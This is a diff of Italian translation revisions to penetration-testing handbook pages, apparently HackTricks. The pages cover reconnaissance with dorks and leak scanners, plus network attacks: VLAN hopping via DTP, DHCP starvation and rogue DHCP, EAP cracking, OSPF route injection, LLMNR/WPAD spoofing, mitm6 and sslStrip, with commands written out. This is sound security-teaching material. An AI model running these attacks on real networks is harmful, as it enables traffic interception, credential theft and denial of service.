Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||
|
||||
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
|
||||
|
||||
#### Dorks di Github
|
||||
#### Github Dorks
|
||||
|
||||
Controlla anche questa **pagina** per potenziali **dorks di github** che potresti cercare nell'organizzazione che stai attaccando:
|
||||
Controlla anche questa **pagina** per potenziali **github dorks** che potresti cercare nell'organizzazione che stai attaccando:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
github-leaked-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
### Fughe di Pastes
|
||||
### Pastes Leaks
|
||||
|
||||
A volte gli attaccanti o semplicemente i lavoratori pubblicheranno **contenuti aziendali in un sito di paste**. Questo potrebbe o meno contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||
Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare in più di 80 siti di paste contemporaneamente.
|
||||
|
||||
### Dorks di Google
|
||||
### Google Dorks
|
||||
|
||||
I dorks di Google, vecchi ma d'oro, sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
|
||||
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o potresti usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
|
||||
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
@ -594,31 +594,31 @@ Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pub
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Metodologia di Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
La **maggior parte delle vulnerabilità** trovate dai cacciatori di bug risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di test delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/index.html).
|
||||
La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/index.html).
|
||||
|
||||
Voglio anche fare una menzione speciale alla sezione [**Strumenti open source per scanner automatici web**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **flussi di lavoro per avere alcune informazioni web iniziali.**
|
||||
Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.**
|
||||
|
||||
## Ricapitolazione
|
||||
|
||||
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere eseguita molta più enumerazione (vedremo altri trucchi più avanti).
|
||||
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere fatta molta più enumerazione (vedremo più trucchi in seguito).
|
||||
|
||||
Quindi hai già:
|
||||
|
||||
1. Trovato tutte le **aziende** all'interno del campo
|
||||
2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nel campo)
|
||||
1. Trovato tutte le **aziende** all'interno dell'ambito
|
||||
2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nell'ambito)
|
||||
3. Trovato tutti i **domini** appartenenti alle aziende
|
||||
4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?)
|
||||
5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno del campo.
|
||||
5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito.
|
||||
6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?)
|
||||
7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda.
|
||||
8. **Email**, **fughe di credenziali** e **fughe di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
|
||||
8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
|
||||
9. **Pentesting di tutti i siti web che hai trovato**
|
||||
|
||||
## **Strumenti Automatici di Recon Completo**
|
||||
|
||||
Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato campo.
|
||||
Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato ambito.
|
||||
|
||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
||||
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCP Port Discovery
|
||||
|
||||
È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per controllare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
|
||||
È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per controllare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande" non puoi testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
|
||||
Quindi, ciò di cui hai bisogno è uno **scanner di porte veloce** ([masscan](https://github.com/robertdavidgraham/masscan)) e un elenco delle **porte più utilizzate:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### Scoperta delle porte UDP
|
||||
|
||||
Potresti anche provare a controllare alcune **porte UDP aperte** per decidere se dovresti **prestare maggiore attenzione** a un **host.** Poiché i servizi UDP di solito **non rispondono** con **alcun dato** a un pacchetto di sondaggio UDP vuoto, è difficile dire se una porta è filtrata o aperta. Il modo più semplice per decidere questo è inviare un pacchetto relativo al servizio in esecuzione, e poiché non sai quale servizio è in esecuzione, dovresti provare il più probabile in base al numero di porta:
|
||||
Puoi anche provare a controllare alcune **porte UDP aperte** per decidere se dovresti **prestare maggiore attenzione** a un **host.** Poiché i servizi UDP di solito **non rispondono** con **alcun dato** a un pacchetto di sondaggio UDP vuoto, è difficile dire se una porta è filtrata o aperta. Il modo più semplice per decidere questo è inviare un pacchetto relativo al servizio in esecuzione, e poiché non sai quale servizio è in esecuzione, dovresti provare il più probabile in base al numero di porta:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**/24** range, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Questo invierà questi **UDP probes** al loro **port atteso** (per un range /24 questo richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**/24** range, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Questo invierà questi **UDP probes** al loro **expected port** (per un range /24 ci vorrà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Port Discovery
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**:
|
||||
|
||||
Wake On Lan è usato per **accendere** computer tramite un **messaggio di rete**. Il pacchetto magico usato per accendere il computer è solo un pacchetto in cui è fornito un **MAC Dst** e poi viene **ripetuto 16 volte** all'interno dello stesso pacchetto.\
|
||||
Poi questo tipo di pacchetti viene solitamente inviato in un **ethernet 0x0842** o in un **pacchetto UDP alla porta 9**.\
|
||||
Se **nessun \[MAC]** è fornito, il pacchetto viene inviato a **broadcast ethernet** (e il MAC di broadcast sarà quello che viene ripetuto).
|
||||
Se **nessun \[MAC]** è fornito, il pacchetto viene inviato a **broadcast ethernet** (e il MAC di broadcast sarà quello ripetuto).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -184,7 +184,7 @@ nmap-summary-esp.md
|
||||
|
||||
### Rivelare indirizzi IP interni
|
||||
|
||||
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
|
||||
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -258,11 +258,11 @@ In moderni switch questa vulnerabilità è stata risolta.
|
||||
|
||||
#### Trunking Dinamico
|
||||
|
||||
Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livello link per facilitare un sistema automatico per il trunking, consentendo ai switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o la modalità non trunk. L'implementazione del **DTP** è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e garantire una corretta documentazione.
|
||||
Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livello link per facilitare un sistema automatico di trunking, consentendo ai switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o la modalità non trunk. L'implementazione del **DTP** è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e garantire una corretta documentazione.
|
||||
|
||||
Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza sorge quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.
|
||||
Per impostazione predefinita, le porte dello switch sono configurate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza si presenta quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.
|
||||
|
||||
La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, guadagnando così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
|
||||
La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, ottenendo così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
|
||||
|
||||
Se viene identificata una vulnerabilità di rete, lo strumento _**Yersinia**_ può essere impiegato per "abilitare il trunking" tramite il protocollo DTP, consentendo l'osservazione dei pacchetti da tutte le VLAN.
|
||||
```bash
|
||||
@ -277,7 +277,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Per enumerare le VLAN, è anche possibile generare il frame DTP Desirable con lo script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Non interrompere lo script in nessuna circostanza. Inietta DTP Desirable ogni tre secondi. **I canali trunk creati dinamicamente sullo switch vivono solo per cinque minuti. Dopo cinque minuti, il trunk si disconnette.**
|
||||
Per enumerare le VLAN, è anche possibile generare il frame DTP Desirable con lo script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Non interrompere lo script in nessuna circostanza. Inietta DTP Desirable ogni tre secondi. **I canali trunk creati dinamicamente sullo switch vivono solo per cinque minuti. Dopo cinque minuti, il trunk scade.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -329,7 +329,7 @@ L'attacco discusso di **Dynamic Trunking e creazione di interfacce virtuali per
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare tramite UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
|
||||
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare il tag di un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, la **migliore opzione per l'attaccante è comunicare via UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
|
||||
|
||||
Un'altra opzione per l'attaccante è lanciare una **scansione delle porte TCP spoofando un IP controllato dall'attaccante e accessibile dalla vittima** (probabilmente tramite internet). Poi, l'attaccante potrebbe sniffare nel secondo host di sua proprietà se riceve alcuni pacchetti dalla vittima.
|
||||
|
||||
@ -494,18 +494,18 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
**Due tipi di DoS** possono essere eseguiti contro i server DHCP. Il primo consiste nel **simulare un numero sufficiente di host falsi per utilizzare tutti gli indirizzi IP possibili**.\
|
||||
Questo attacco funzionerà solo se puoi vedere le risposte del server DHCP e completare il protocollo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Ad esempio, questo **non è possibile nelle reti Wifi**.
|
||||
|
||||
Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. Allora, il server penserà che tutti abbiano finito di utilizzare l'IP.
|
||||
Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. In questo modo, il server penserà che tutti abbiano finito di utilizzare l'IP.
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
|
||||
|
||||
#### Imposta valori malevoli
|
||||
|
||||
Un server DHCP non autorizzato può essere configurato utilizzando lo script DHCP situato in `/usr/share/responder/DHCP.py`. Questo è utile per attacchi di rete, come la cattura del traffico HTTP e delle credenziali, reindirizzando il traffico a un server malevolo. Tuttavia, impostare un gateway non autorizzato è meno efficace poiché consente solo di catturare il traffico in uscita dal client, mancando le risposte dal vero gateway. Invece, è consigliato impostare un server DNS o WPAD non autorizzato per un attacco più efficace.
|
||||
Un server DHCP non autorizzato può essere configurato utilizzando lo script DHCP situato in `/usr/share/responder/DHCP.py`. Questo è utile per attacchi di rete, come la cattura del traffico HTTP e delle credenziali, reindirizzando il traffico a un server malevolo. Tuttavia, impostare un gateway non autorizzato è meno efficace poiché consente solo di catturare il traffico in uscita dal client, mancando le risposte dal vero gateway. Invece, si consiglia di impostare un server DNS o WPAD non autorizzato per un attacco più efficace.
|
||||
|
||||
Di seguito sono riportate le opzioni di comando per configurare il server DHCP non autorizzato:
|
||||
|
||||
@ -532,7 +532,7 @@ Ecco alcune delle tattiche di attacco che possono essere utilizzate contro le im
|
||||
- Attacco attivo di brute-force delle password tramite EAP
|
||||
- Attacco al server RADIUS con contenuti EAP malformati _\*\*_(exploits)
|
||||
- Cattura dei messaggi EAP e cracking delle password offline (EAP-MD5 e PEAP)
|
||||
- Forzare l'autenticazione EAP-MD5 per bypassare la convalida del certificato TLS
|
||||
- Forzare l'autenticazione EAP-MD5 per bypassare la validazione del certificato TLS
|
||||
- Iniettare traffico di rete malevolo durante l'autenticazione utilizzando un hub o simile
|
||||
|
||||
Se l'attaccante si trova tra la vittima e il server di autenticazione, potrebbe cercare di degradare (se necessario) il protocollo di autenticazione a EAP-MD5 e catturare il tentativo di autenticazione. Poi, potrebbe eseguire un attacco di brute-force utilizzando:
|
||||
@ -551,16 +551,16 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata da RIPng; invece, ci si affida agli header IPsec AH e ESP opzionali all'interno di IPv6.
|
||||
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata da RIPng; invece, ci si affida a intestazioni IPsec AH e ESP opzionali all'interno di IPv6.
|
||||
|
||||
- **RIP e RIPv2:** La comunicazione avviene tramite datagrammi UDP sulla porta 520.
|
||||
- **RIPng:** Utilizza la porta UDP 521 per trasmettere datagrammi tramite multicast IPv6.
|
||||
|
||||
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi agli header IPsec AH e ESP in IPv6.
|
||||
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi alle intestazioni IPsec AH e ESP in IPv6.
|
||||
|
||||
### Attacchi EIGRP
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione delle interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta si **diffonda** in tutto il sistema EIGRP autonomo.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione di interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta si **diffonda** in tutto il sistema EIGRP autonomo.
|
||||
|
||||
Attaccare un sistema EIGRP richiede **stabilire un vicinato con un router EIGRP legittimo**, il che apre molte possibilità, dalla ricognizione di base a varie iniezioni.
|
||||
|
||||
@ -574,7 +574,7 @@ eigrp-attacks.md
|
||||
|
||||
### OSPF
|
||||
|
||||
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra i router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
|
||||
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
|
||||
|
||||
- **Catturare e Decifrare Hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
|
||||
- **Configurare i Parametri della Rotta:** Questo avviene tramite la scheda _Injection_.
|
||||
@ -637,16 +637,16 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, inviando messaggi di broadcast, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
|
||||
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **Linux zero-configuration** utilizzano **Multicast DNS (mDNS)** per scoprire sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, inviando messaggi di broadcast, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
|
||||
|
||||
Puoi impersonare servizi cercati dagli host utilizzando Responder per inviare risposte false.\
|
||||
Puoi impersonare servizi che vengono cercati dagli host utilizzando Responder per inviare risposte false.\
|
||||
Leggi qui ulteriori informazioni su [come impersonare servizi con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD) per acquisire automaticamente le impostazioni del proxy**. Questo comporta il recupero dei dettagli di configurazione da un server, specificamente tramite un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire attraverso vari meccanismi:
|
||||
I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD) per acquisire automaticamente le impostazioni del proxy**. Questo comporta il recupero dei dettagli di configurazione da un server, specificamente attraverso un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire attraverso vari meccanismi:
|
||||
|
||||
- Tramite **DHCP**, dove la scoperta è facilitata dall'utilizzo di un codice speciale 252.
|
||||
- Tramite **DHCP**, dove la scoperta è facilitata utilizzando un codice speciale 252.
|
||||
- Tramite **DNS**, che comporta la ricerca di un nome host etichettato _wpad_ all'interno del dominio locale.
|
||||
- Via **Microsoft LLMNR e NBT-NS**, che sono meccanismi di fallback utilizzati nei casi in cui le ricerche DNS non hanno successo.
|
||||
|
||||
@ -686,7 +686,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client** e una **connessione HTTPS con** il **server** in modo da poter **sniffare** la connessione in **testo semplice**.
|
||||
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client** e una **connessione HTTPS con** il **server**, in modo da poter **sniffare** la connessione in **testo semplice**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -699,14 +699,14 @@ More info [qui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Blac
|
||||
|
||||
### sslStrip+ e dns2proxy per bypassare HSTS
|
||||
|
||||
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** via https con **www.facebook.com**.
|
||||
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** per esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** via https con **www.facebook.com**.
|
||||
|
||||
L'**obiettivo** di questa tecnica è **evitare HSTS** perché _**wwww**.facebook.com_ **non sarà** salvato nella **cache** del browser, quindi il browser sarà ingannato a eseguire **l'autenticazione di facebook in HTTP**.\
|
||||
Nota che per eseguire questo attacco la vittima deve cercare di accedere inizialmente a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http.
|
||||
|
||||
More info [qui](https://www.bettercap.org/legacy/#hsts-bypass), [qui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [qui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", lo farà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
|
||||
